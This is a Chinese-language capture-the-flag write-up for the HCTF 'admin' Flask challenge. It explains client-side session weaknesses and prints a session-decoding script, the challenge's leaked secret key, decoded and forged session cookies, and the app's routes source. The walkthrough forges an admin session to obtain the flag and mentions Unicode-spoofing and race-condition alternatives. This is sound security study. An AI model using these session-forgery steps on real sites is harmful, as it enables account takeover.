先熟悉下网站,有这些功能:注册、登录、上传文章、修改密码、登出、无法注册admin,不能注册admin账户源码有提示
注册一个admin账号,失败了,提示注册失败
尝试注册界面看看有没有注入
username=1’–+
大佬说有三种解法
flask session 伪造
unicode欺骗
条件竞争
flask 源码解析:session
客户端 session 导致的安全问题
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
还是得多看源代码,修改密码部分有源代码的网址
下载源码
注册一个账号,然后登录后获得session
session:".eJw9kEGLwjAQhf_KMmcPNtWL4GElUirMhLqtZXIRt1bbpHHZqlQj_vcNLsgc38z73psHbA99fW5gdumv9Qi27R5mD_j4hhmwzyIlqeMyG0jiWMniTiKLtcluKMLISmBSCPJdh54jcuzRVBPyaaRdMeV86VEuWjY40fmiwWTVoqNGJSxIkkXTWRa65ZyacCnQYYyBE_Ycm6bFcnlDbz25jSGzNrpcW3KrRsllYBQ39vauko3l_DiH5wiqc3_YXn5sfXpXQIvuDrP7kqi4DINkdIYzVGQ2Vst0ynJgHM8kK8GdMVYfc5fdq3bHeu305ed_hbDv3LauSBAJGIYwfVc96vQRTB8w82LmwS.Xr3kKA.wK7TeyCJ_MO5u-J9l7s0t9lQ0t4"
通过脚本将session解密一下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
想要伪造session我们还需要SECRET_KEY,在config.py里可以找到key
import os
class Config(object):
**SECRET_KEY** = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
将session进行解密
python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OsZiJ26UZ3veIOBavPwJ9ZlU.Xhpxig.hIQoJq3OWXbaekJ3fHF0Tl1cQPQ"
获得
{'_fresh': True, '_id': b'093905b60a9ba14e8af7bb3ac13fdbc503528a895b8427e0570d34c3523cfe07c33de2047a4ad7e00f0df2306250092d26680910e6dc2fbfd6aa1b50e0849c1f', 'csrf_token': b'4ecd838d75bcf3c12142a3bad5bdac043878106a', 'name': 'admin1', 'user_id': '11'}
index.html
{% include('header.html') %} {% if current_user.is_authenticated %}
Hello {{ session['name'] }}
{% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %}//获取session的条件
hctf{xxxxxxxxx}
{% endif %}
Welcome to hctf
{% include('footer.html') %}
config.py
需要session name为admin时可以显示flag
再加密后替换cookie,将其中的admin1修改为admin,再使用flask_session_cookie_manager进行编码可得伪造后的session
.eJw9kEGLwjAUhP_KkrOHNnYvgodKusXCS6iklvcu4mrd5rVxoSrViP99i4c9zsB8zMxT7E5Dc2nF4jrcmpnYuaNYPMXHt1gIUF0wNo2RcUTbO7RZRLZtiY8OWbcYskB-4zBUI4TqYfIsMXbrjCofWlajtoeRFEQYIAbWTH7yJASQmx44jbTMIqzLOdl0JF51xOsACh960sYWHTBKo9JPsKte-w2DJ0e-lFhnd-RqnHKJVj1DjUvxmonDZTjtrr9dc_6foPMtk_oJJi_nui6Yphpg13etihZk0ZLaOsq_GFQZjDokYFOJ5fKNO-99MyH2R-_OYiZul2Z4vyPiWLz-AJ2yZiQ.XhqBtg.lLXBoac_fjTFLmMF5T4b90nw3rM
将其复制后重放,即可得到flag
仔细观察路由routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])//在修改密码的时候先将name转成小写
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username